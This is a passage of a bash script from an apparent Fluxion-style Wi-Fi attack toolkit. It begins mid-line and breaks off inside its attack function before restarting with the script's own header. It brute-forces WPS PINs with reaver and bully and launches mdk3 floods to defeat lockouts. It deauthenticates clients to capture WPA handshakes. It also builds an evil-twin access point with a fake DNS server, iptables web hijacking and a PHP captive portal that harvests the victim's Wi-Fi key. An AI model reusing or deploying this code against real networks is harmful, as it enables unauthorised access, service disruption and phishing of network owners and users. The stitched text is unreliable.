$BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & +bully_pid=$! + +while kill -0 $bully_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then + run_mdk3_EAPOL2 + fi + sleep 1 +done +menu +;; + *)Invalid Option +menu +;; +esac + +} + +menu +conditional_clear +mostrarheader +;; + 3) +clear +echo +read -p " - What is the name of your 1st Wlan Adapter? (Ex:Wlan0) - ": WIFI_MONITOR; +clear +echo +read -p " - What is the name of your 2nd Wlan Adapter? (Ex:Wlan1) - ": WIFI_MONITOR2; +clear +echo +read -p " - What is the name of your 3rd Wlan Adapter? (Ex:Wlan2) - ": WIFI_MONITOR3; +clear + +scan_for_targets + +clear + + +enable_mon_mode_1 + +enable_mon_mode_2 + +enable_mon_mode_3 + + + + +clear +conditional_clear +mostrarheader +echo "************** - Would you like to set the 3 WIFI_MONITORs to an Identical MAC Address? - ************** +1)Yes +2)No" + +read i +case $i in + 1) +clear + +mac_change_1 + +mac_change_2 + +mac_change_3 + +clear +;; + 2) +;; + *)Invalid Option +;; +esac + + +menu () { +clear +conditional_clear +mostrarheader + + echo "Select your Attack Method" + echo " " + echo -e " "$blue"0)"$transparent" Select New Target Network" + echo -e " "$blue"1)"$transparent" EAPOL Start Flood" + echo -e " "$blue"2)"$transparent" Authentication Flood" + echo -e " "$blue"3)"$transparent" Reaver" + echo -e " "$blue"4)"$transparent" Check if the Access Point WPS is UNLOCKED" + echo -e " "$blue"5"$transparent" Reaver with AutoFlood(ASOC)" + echo -e " "$blue"6)"$transparent" Reaver with AutoFlood(EAPOL)" + echo -e " "$blue"7)"$transparent" Bully" + echo -e " "$blue"8)"$transparent" Bully with AutoFlood(ASOC)" + echo -e " "$blue"9)"$transparent"Bully with AutoFlood(EAPOL)" + echo " " + echo -n " #> " + +echo "*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*" +read j +case $j in + 0) +clear +scan_for_targets +enable_mon_mode_1 +menu +;; + 1) +clear +timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250 +menu +;; + 2) +clear +timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m +menu +;; + 3) +clear +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv +menu +;; + 4) +clear +xterm -e "wash -i $WIFI_MONITOR" & +menu +;; + 5) +clear +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver_pid=$! + +while kill -0 $reaver_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then + run_mdk3_ASOC3 + fi + sleep 1 +done +menu +;; + 6) +clear +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver_pid=$! + +while kill -0 $reaver_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then + run_mdk3_EAPOL3 + fi + sleep 1 +done +menu +;; + 7) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR +menu +;; + 8) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & +bully_pid=$! + +while kill -0 $bully_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then + run_mdk3_ASOC3 + fi + sleep 1 +done +menu +;; + 9) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & +bully_pid=$! + +while kill -0 $bully_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then + run_mdk3_EAPOL3 + fi + sleep 1 +done +menu +;; + *)Invalid Option +menu +;; +esac +} + +menu + +;; + 4) +clear +echo +read -p " - What is the name of your 1st Wlan Adapter? (Ex:Wlan0) - ": WIFI_MONITOR; +clear +echo +read -p " - What is the name of your 2nd Wlan Adapter? (Ex:Wlan1) - ": WIFI_MONITOR2; +clear +echo +read -p " - What is the name of your 3rd Wlan Adapter? (Ex:Wlan2) - ": WIFI_MONITOR3; +clear +echo +read -p " - What is the name of your 4th Wlan Adapter? (Ex:Wlan3) - ": WIFI_MONITOR4; +clear + +scan_for_targets + +clear + +enable_mon_mode_1 + +enable_mon_mode_2 + +enable_mon_mode_3 + +enable_mon_mode_4 + + +clear + +echo "************** - Would you like to set ALL Wlan WIFI_MONITORs to the same MAC Address? - ************** +1)Yes +2)No" + +read l +case $l in + 1) +clear + +mac_change_1 + +mac_change_2 + +mac_change_3 + +mac_change_4 + +clear +;; + 2) +;; + *)Invalid Option +;; +esac + +clear + +menu () { +clear +conditional_clear +mostrarheader + + echo "Select your Attack Method" + echo " " + echo -e " "$blue"0)"$transparent" Select New Target Network" + echo -e " "$blue"1)"$transparent" EAPOL Start Flood" + echo -e " "$blue"2)"$transparent" Authentication Flood" + echo -e " "$blue"3)"$transparent" Reaver" + echo -e " "$blue"4)"$transparent" Check if the Access Point WPS is UNLOCKED" + echo -e " "$blue"5"$transparent" Reaver with AutoFlood(ASOC)" + echo -e " "$blue"6)"$transparent" Reaver with AutoFlood(EAPOL)" + echo -e " "$blue"7)"$transparent" Bully" + echo -e " "$blue"8)"$transparent" Bully with AutoFlood(ASOC)" + echo -e " "$blue"9)"$transparent"Bully with AutoFlood(EAPOL)" + echo " " + echo -n " #> " + +echo "*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*" +read m +case $m in + 0) +clear +scan_for_targets +enable_mon_mode_1 +menu +;; + 1) +clear +timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $BSSID -n $ESSID -s 250 +menu +;; + 2) +clear +timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $BSSID -m +menu +;; + 3) +clear +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv +menu +;; + 4) +clear +xterm -e "wash -i $WIFI_MONITOR" & +menu +;; + 5) +clear +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver_pid=$! + +while kill -0 $reaver_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then + run_mdk3_ASOC4 + fi + sleep 1 +done +menu +;; + 6) +clear +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver_pid=$! + +while kill -0 $reaver_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then + run_mdk3_EAPOL4 + fi + sleep 1 +done +menu +;; + 7) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR +menu +;; + 8) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & +bully_pid=$! + +while kill -0 $bully_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then + run_mdk3_ASOC4 + fi + sleep 1 +done +menu +;; + 9) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & +bully_pid=$! + +while kill -0 $bully_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then + run_mdk3_EAPOL4 + fi + sleep 1 +done +menu +;; + *)Invalid Option +menu +;; +esac +} + +menu + +;; + 5) +clear +echo +read -p " - What is the name of your 1st Wlan Adapter? (Ex:Wlan0) - ": WIFI_MONITOR; +clear +echo +read -p " - What is the name of your 2nd Wlan Adapter? (Ex:Wlan1) - ": WIFI_MONITOR2; +clear +echo +read -p " - What is the name of your 3rd Wlan Adapter? (Ex:Wlan2) - ": WIFI_MONITOR3; +clear +echo +read -p " - What is the name of your 4th Wlan Adapter? (Ex:Wlan3) - ": WIFI_MONITOR4; +clear +echo +read -p " - What is the name of your 5th Wlan WIFI_MONITOR (Ex:Wlan4) - ": WIFI_MONITOR5; +clear + +scan_for_targets + +clear + +enable_mon_mode_1 + +enable_mon_mode_2 + +enable_mon_mode_3 + +enable_mon_mode_4 + +enable_mon_mode_5 + +clear + +echo "************** - Would you like to set ALL Wlan Adapters to the same MAC Address? - ************** +1)Yes +2)No" + +read o +case $o in + 1) +clear + +mac_change_1 + +mac_change_2 + +mac_change_3 + +mac_change_4 + +mac_change_5 + +clear +;; + 2) +;; + *)Invalid Option +;; +esac + + +menu () { +clear +conditional_clear +mostrarheader + + echo "Select your Attack Method" + echo " " + echo -e " "$blue"0)"$transparent" Select New Target Network" + echo -e " "$blue"1)"$transparent" EAPOL Start Flood" + echo -e " "$blue"2)"$transparent" Authentication Flood" + echo -e " "$blue"3)"$transparent" Reaver" + echo -e " "$blue"4)"$transparent" Check if the Access Point WPS is UNLOCKED" + echo -e " "$blue"5"$transparent" Reaver with AutoFlood(ASOC)" + echo -e " "$blue"6)"$transparent" Reaver with AutoFlood(EAPOL)" + echo -e " "$blue"7)"$transparent" Bully" + echo -e " "$blue"8)"$transparent" Bully with AutoFlood(ASOC)" + echo -e " "$blue"9)"$transparent"Bully with AutoFlood(EAPOL)" + echo " " + echo -n " #> " + +echo "*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*" +read p +case $p in + 0) +clear +scan_for_targets +enable_mon_mode_1 +menu +;; + 1) +clear +timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR5 x 0 -t $BSSID -n $ESSID -s 250 +menu +;; + 2) +clear +timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR5 a -a $BSSID -m +menu +;; + 3) +clear +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv +menu +;; + 4) +clear +xterm -e "wash -i $WIFI_MONITOR" & +menu +;; + 5) +clear +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver_pid=$! + +while kill -0 $reaver_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then + run_mdk3_ASOC5 + fi + sleep 1 +done +menu +;; + 6) +clear +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver_pid=$! + +while kill -0 $reaver_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then + run_mdk3_EAPOL5 + fi + sleep 1 +done +menu +;; + 7) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR +menu +;; + 8) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & +bully_pid=$! + +while kill -0 $bully_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then + run_mdk3_ASOC5 + fi + sleep 1 +done +menu +;; + 9) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & +bully_pid=$! + +while kill -0 $bully_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then + run_mdk3_EAPOL5 + fi + sleep 1 +done +menu +;; + *)Invalid Option +menu +;; +esac +} + +menu + +;; + +esac + +} +function handshakelocation { + + conditional_clear + + mostrarheader + infoap + echo + echo -e "handshake location (Example: $red/root/fluxion.cap$transparent)" + echo -e "Press ${yellow}ENTER$transparent to skip" + echo + echo -n "Path: " + echo -ne "$red" + read handshakeloc + echo -ne "$transparent" + + if [ "$handshakeloc" = "" ]; then + deauthforce + else + if [ -f "$handshakeloc" ]; then + Host_SSID_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d "(" -f2 | cut -d "'" -f2) + Host_MAC_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d " " -f3 | tr '[:lower:]' '[:upper:]') + if [[ "$Host_MAC_loc" == *"$Host_MAC"* ]] && [[ "$Host_SSID_loc" == *"$Host_SSID"* ]]; then + if pyrit -r $handshakeloc analyze 2>&1 | sed -n /$(echo $Host_MAC | tr '[:upper:]' '[:lower:]')/,/^#/p | grep -vi "AccessPoint" | grep -qi "good,"; then + cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap + webinterface + else + echo "Broken handshake " + echo + sleep 4 + echo "you can try aircrack-ng" + echo "You want to try to aircrack-ng instead of pyrit to check the handshake? [ENTER = NO]" + echo + + read handshakeloc_aircrack + echo -ne "$transparent" + if [ "$handshakeloc_aircrack" = "" ]; then + handshakelocation + else + if aircrack-ng $handshakeloc | grep -q "1 handshake"; then + cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap + webinterface + else + echo "Broken handshake" + sleep 4 + handshakelocation + fi + fi + fi + else + echo -e "${red}Not_Found$transparent!" + echo + echo -e "File ${red}MAC$transparent" + + readarray -t lista_loc < <(pyrit -r $handshakeloc analyze 2>&1 | grep "^#") + for i in "${lista_loc[@]}"; do + echo -e "$green $(echo $i | cut -d " " -f1) $yellow$(echo $i | cut -d " " -f3 | tr '[:lower:]' '[:upper:]')$transparent ($green $(echo $i | cut -d "(" -f2 | cut -d "'" -f2)$transparent)" + done + + echo -e "Host ${green}MAC$transparent" + echo -e "$green #1: $yellow$Host_MAC$transparent ($green $Host_SSID$transparent)" + sleep 7 + handshakelocation + fi + else + echo -e "File ${red}NOT$transparent present" + sleep 4 + handshakelocation + fi + fi +} + +function deauthforce { + + conditional_clear + + mostrarheader + while true; do + + echo "handshake check" + echo " " + echo -e " "$blue"1)"$transparent" aircrack-ng (Miss chance)" + echo -e " "$blue"2)"$transparent" pyrit" + echo -e " "$blue"3)"$transparent" Back" + echo " " + echo -n " #> " + read yn + echo "" + case $yn in + 1 ) handshakemode="normal"; askclientsel; break ;; + 2 ) handshakemode="hard"; askclientsel; break ;; + 3 ) askauth; break ;; + * ) echo " +Unknown option. Choose again"; conditional_clear ;; + esac + done +} + +############################################### < MENU > ############################################### + + + + + + +############################################# < HANDSHAKE > ############################################ + +# Tipo de Deauth que se va a realizar +function askclientsel { + + conditional_clear + + while true; do + mostrarheader + + echo "Capture Handshake" + echo " " + echo -e " "$blue"1)"$transparent" Deauth all" + echo -e " "$blue"2)"$transparent" Deauth all [mdk3]" + echo -e " "$blue"3)"$transparent" Deauth target " + echo -e " "$blue"4)"$transparent" Rescan networks " + echo -e " "$blue"5)"$transparent" Exit" + echo " " + echo -n " #> " + read yn + echo "" + case $yn in + 1 ) deauth all; break ;; + 2 ) deauth mdk3; break ;; + 3 ) deauth esp; break ;; + 4 ) killall airodump-ng &>$flux_output_device; deltax; break;; + 5 ) exitmode; break ;; + * ) echo " +Unknown option. Choose again"; conditional_clear ;; + esac + done + +} + +# +function deauth { + + conditional_clear + + iwconfig $WIFI_MONITOR channel $Host_CHAN + + case $1 in + all ) + DEAUTH=deauthall + capture & $DEAUTH + CSVDB=$Host_MAC-01.csv + ;; + mdk3 ) + DEAUTH=deauthmdk3 + capture & $DEAUTH & + CSVDB=$Host_MAC-01.csv + ;; + esp ) + DEAUTH=deauthesp + HOST=`cat $DUMP_PATH/$CSVDB | grep -a $Host_MAC | awk '{ print $1 }'| grep -a -v 00:00:00:00| grep -v $Host_MAC` + LINEAS_CLIENTES=`echo "$HOST" | wc -m | awk '{print $1}'` + + if [ $LINEAS_CLIENTES -le 5 ]; then + DEAUTH=deauthall + capture & $DEAUTH + CSVDB=$Host_MAC-01.csv + deauth + + fi + + capture + for CLIENT in $HOST; do + Client_MAC=`echo ${CLIENT:0:17}` + deauthesp + done + $DEAUTH + CSVDB=$Host_MAC-01.csv + ;; + esac + + + deauthMENU + +} + +function deauthMENU { + + Handshake_statuscheck="${grey}No handshake$transparent" + + while true; do + conditional_clear + mostrarheader + + echo "*Capture Handshake* " + echo + echo -e "Status handshake: $Handshake_statuscheck" + echo + echo -e " "$blue"1)"$transparent" Yes" + echo -e " "$blue"2)"$transparent" Strike again " + echo -e " "$blue"3)"$transparent" No (Select another attack)" + echo -e " "$blue"4)"$transparent" Select another network" + echo -e " "$blue"5)"$transparent" Exit" + echo " " + echo -n ' #> ' + read yn + + case $yn in + 1 ) checkhandshake;; + 2 ) capture; $DEAUTH & ;; + 3 ) conditional_clear; askclientsel; break;; + 4 ) killall airodump-ng &>$flux_output_device; CSVDB=dump-01.csv; breakmode=1; selection; break ;; + 5 ) exitmode; break;; + * ) echo " +Unknown option. Choose again"; conditional_clear ;; + esac + + done +} + +# Capture all +function capture { + + conditional_clear + if ! ps -A | grep -q airodump-ng; then + + rm -rf $DUMP_PATH/$Host_MAC* + xterm $HOLD -title "Capturing data channel --> $Host_CHAN" $TOPRIGHT -bg "#000000" -fg "#FFFFFF" -e airodump-ng --bssid $Host_MAC -w $DUMP_PATH/$Host_MAC -c $Host_CHAN -a $WIFI_MONITOR & + fi +} + +# Check the handshake before continuing +function checkhandshake { + + if [ "$handshakemode" = "normal" ]; then + if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then + killall airodump-ng &>$flux_output_device + webinterface + break + else + Handshake_statuscheck="${red}Not_Found$transparent" + fi + elif [ "$handshakemode" = "hard" ]; then + pyrit -r $DUMP_PATH/$Host_MAC-01.cap -o $DUMP_PATH/test.cap stripLive &>$flux_output_device + + if pyrit -r $DUMP_PATH/test.cap analyze 2>&1 | grep -q "good,"; then + killall airodump-ng &>$flux_output_device + webinterface + break + else + if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then + Handshake_statuscheck="${yellow}Corrupt$transparent" + else + Handshake_statuscheck="${red}Not_Found$transparent" + fi + fi + + rm $DUMP_PATH/test.cap &>$flux_output_device + fi +} + +############################################# < HANDSHAKE > ############################################ + + + + + + +############################################# < ATAQUE > ############################################ + +# Select web interface that will be used +function webinterface { + + while true; do + conditional_clear + mostrarheader + + infoap + echo + echo "Select Web Interface" + echo + + echo -e "$blue""1)"$transparent" Web Interface" + echo -e "$blue""2)"$transparent" \e[1;31mExit"$transparent"" + + echo + echo -n "#? " + read line + + if [ "$line" = "2" ]; then + exitmode + elif [ "$line" = "1" ]; then + conditional_clear + mostrarheader + + infoap + echo + echo "SELECT LANGUAGE" + echo + + echo -e "$blue""1)"$transparent" English [ENG]" + echo -e "$blue""2)"$transparent" Spanish [ESP]" + echo -e "$blue""3)"$transparent" Italy [IT]" + echo -e "$blue""4)"$transparent" French [FR]" + echo -e "$blue""5)"$transparent" Portuguese [POR]" + echo -e "$blue""6)"$transparent" German [GER]" + echo -e "$blue""7)"$transparent" \e[1;31mBack"$transparent"" + + echo + echo -n "#? " + read fluxass + language=${webinterfaceslenguage[$line]} + + if [ "$fluxass" = "1" ]; then + DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ENG + DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ENG + DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ENG + DIALOG_WEB_OK=$DIALOG_WEB_OK_ENG + DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ENG + DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ENG + DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_ENG + DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_ENG + NEUTRA + break + elif [ "$fluxass" = "2" ]; then + DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ESP + DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ESP + DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ESP + DIALOG_WEB_OK=$DIALOG_WEB_OK_ESP + DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ESP + DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ESP + DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_ESP + DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_ESP + NEUTRA + break + elif [ "$fluxass" = "3" ]; then + DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_IT + DIALOG_WEB_INFO=$DIALOG_WEB_INFO_IT + DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_IT + DIALOG_WEB_OK=$DIALOG_WEB_OK_IT + DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_IT + DIALOG_WEB_BACK=$DIALOG_WEB_BACK_IT + DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_IT + DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_IT + NEUTRA + break + elif [ "$fluxass" = "4" ]; then + DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_FR + DIALOG_WEB_INFO=$DIALOG_WEB_INFO_FR + DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_FR + DIALOG_WEB_OK=$DIALOG_WEB_OK_FR + DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_FR + DIALOG_WEB_BACK=$DIALOG_WEB_BACK_FR + DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_FR + DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_FR + NEUTRA + break + elif [ "$fluxass" = "5" ]; then + DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_POR + DIALOG_WEB_INFO=$DIALOG_WEB_INFO_POR + DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_POR + DIALOG_WEB_OK=$DIALOG_WEB_OK_POR + DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_POR + DIALOG_WEB_BACK=$DIALOG_WEB_BACK_POR + DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_POR + DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_POR + NEUTRA + break + + elif [ "$fluxass" = "6" ]; then + DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_GER + DIALOG_WEB_INFO=$DIALOG_WEB_INFO_GER + DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_GER + DIALOG_WEB_OK=$DIALOG_WEB_OK_GER + DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_GER + DIALOG_WEB_BACK=$DIALOG_WEB_BACK_GER + DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_GER + DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_GER + NEUTRA + break + elif [ "$fluxass" = "7" ]; then + continue + fi + fi + + done + preattack + attack +} + +# Create different settings required for the script +function preattack { + +# Config HostAPD +echo "interface=$WIFI +driver=nl80211 +ssid=$Host_SSID +channel=$Host_CHAN +">$DUMP_PATH/hostapd.conf + +# Creates PHP +echo "alert(\\\"$DIALOG_WEB_LENGHT_MIN\\\");window.history.back()\"; +break; +} + +if ( (strlen(\$key1) > 63) ) { +echo \"\"; +break; +} + + +\$file = fopen(\$filename, \"w\"); +fwrite(\$file,\"\$f_data\"); +fwrite(\$file,\"\n\"); +fclose(\$file); + + +\$archivo = fopen(\$intento, \"w\"); +fwrite(\$archivo,\"\n\"); +fclose(\$archivo); + +while(1) +{ + +if (file_get_contents(\"\$intento\") == 2) { + header(\"location:final.html\"); + break; + } +if (file_get_contents(\"\$intento\") == 1) { + header(\"location:error.html\"); + unlink(\$intento); + break; + } + +sleep(1); +} + +?>" > $DUMP_PATH/data/check.php + +# Config DHCP +echo "authoritative; + +default-lease-time 600; +max-lease-time 7200; + +subnet $RANG_IP.0 netmask 255.255.255.0 { + +option broadcast-address $RANG_IP.255; +option routers $IP; +option subnet-mask 255.255.255.0; +option domain-name-servers $IP; + +range $RANG_IP.100 $RANG_IP.250; + +} +" >$DUMP_PATH/dhcpd.conf + +#create an empty leases file +touch $DUMP_PATH/dhcpd.leases + +# creates Lighttpd web-server +echo "server.document-root = \"$DUMP_PATH/data/\" + +server.modules = ( + \"mod_access\", + \"mod_alias\", + \"mod_accesslog\", + \"mod_fastcgi\", + \"mod_redirect\", + \"mod_rewrite\" +) + +fastcgi.server = ( \".php\" => (( + \"bin-path\" => \"/usr/bin/php-cgi\", + \"socket\" => \"/php.socket\" + ))) + +server.port = 80 +server.pid-file = \"/var/run/lighttpd.pid\" +# server.username = \"www\" +# server.groupname = \"www\" + +mimetype.assign = ( +\".html\" => \"text/html\", +\".htm\" => \"text/html\", +\".txt\" => \"text/plain\", +\".jpg\" => \"image/jpeg\", +\".png\" => \"image/png\", +\".css\" => \"text/css\" +) + + +server.error-handler-404 = \"/\" + +static-file.exclude-extensions = ( \".fcgi\", \".php\", \".rb\", \"~\", \".inc\" ) +index-file.names = ( \"index.htm\" ) + +#Redirect www.domain.com to domain.com +\$HTTP[\"host\"] =~ \"^www\.(.*)$\" { +url.redirect = ( \"^/(.*)\" => \"http://%1/\$1\" ) +} + +" >$DUMP_PATH/lighttpd.conf + +# that redirects all DNS requests to the gateway +echo "import socket + +class DNSQuery: + def __init__(self, data): + self.data=data + self.dominio='' + + tipo = (ord(data[2]) >> 3) & 15 + if tipo == 0: + ini=12 + lon=ord(data[ini]) + while lon != 0: + self.dominio+=data[ini+1:ini+lon+1]+'.' + ini+=lon+1 + lon=ord(data[ini]) + + def respuesta(self, ip): + packet='' + if self.dominio: + packet+=self.data[:2] + \"\x81\x80\" + packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' + packet+=self.data[12:] + packet+='\xc0\x0c' + packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' + packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) + return packet + +if __name__ == '__main__': + ip='$IP' + print 'pyminifakeDNS:: dom.query. 60 IN A %s' % ip + + udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + udps.bind(('',53)) + + try: + while 1: + data, addr = udps.recvfrom(1024) + p=DNSQuery(data) + udps.sendto(p.respuesta(ip), addr) + print 'Request: %s -> %s' % (p.dominio, ip) + except KeyboardInterrupt: + print 'Finalizando' + udps.close() +" >$DUMP_PATH/fakedns +chmod +x $DUMP_PATH/fakedns + +} + +# Set up DHCP / WEB server +function routear { + + ifconfig $interfaceroutear up + ifconfig $interfaceroutear $IP netmask 255.255.255.0 + + route add -net $RANG_IP.0 netmask 255.255.255.0 gw $IP + echo "1" > /proc/sys/net/ipv4/ip_forward + + iptables --flush + iptables --table nat --flush + iptables --delete-chain + iptables --table nat --delete-chain + iptables -P FORWARD ACCEPT + + iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination $IP:80 + iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination $IP:443 + iptables -t nat -A POSTROUTING -j MASQUERADE +} + +# Attack +function attack { + + if [ "$fakeapmode" = "hostapd" ]; then + interfaceroutear=$WIFI + elif [ "$fakeapmode" = "airbase-ng" ]; then + interfaceroutear=at0 + fi + + handshakecheck + nomac=$(tr -dc A-F0-9 < /dev/urandom | fold -w2 |head -n100 | grep -v "${mac:13:1}" | head -c 1) + + if [ "$fakeapmode" = "hostapd" ]; then + + ifconfig $WIFI down + sleep 0.4 + macchanger --mac=${mac::13}$nomac${mac:14:4} $WIFI &> $flux_output_device + sleep 0.4 + ifconfig $WIFI up + sleep 0.4 + fi + + + if [ $fakeapmode = "hostapd" ]; then + killall hostapd &> $flux_output_device + xterm #!/bin/bash + +########## DEBUG Mode ########## +## ## + FLUX_DEBUG=0 +## ## +################################ + + + + +clear + +##################################### < CONFIGURATION > ##################################### + + +DUMP_PATH="/tmp/TMPflux" +# Number de desautentificaciones 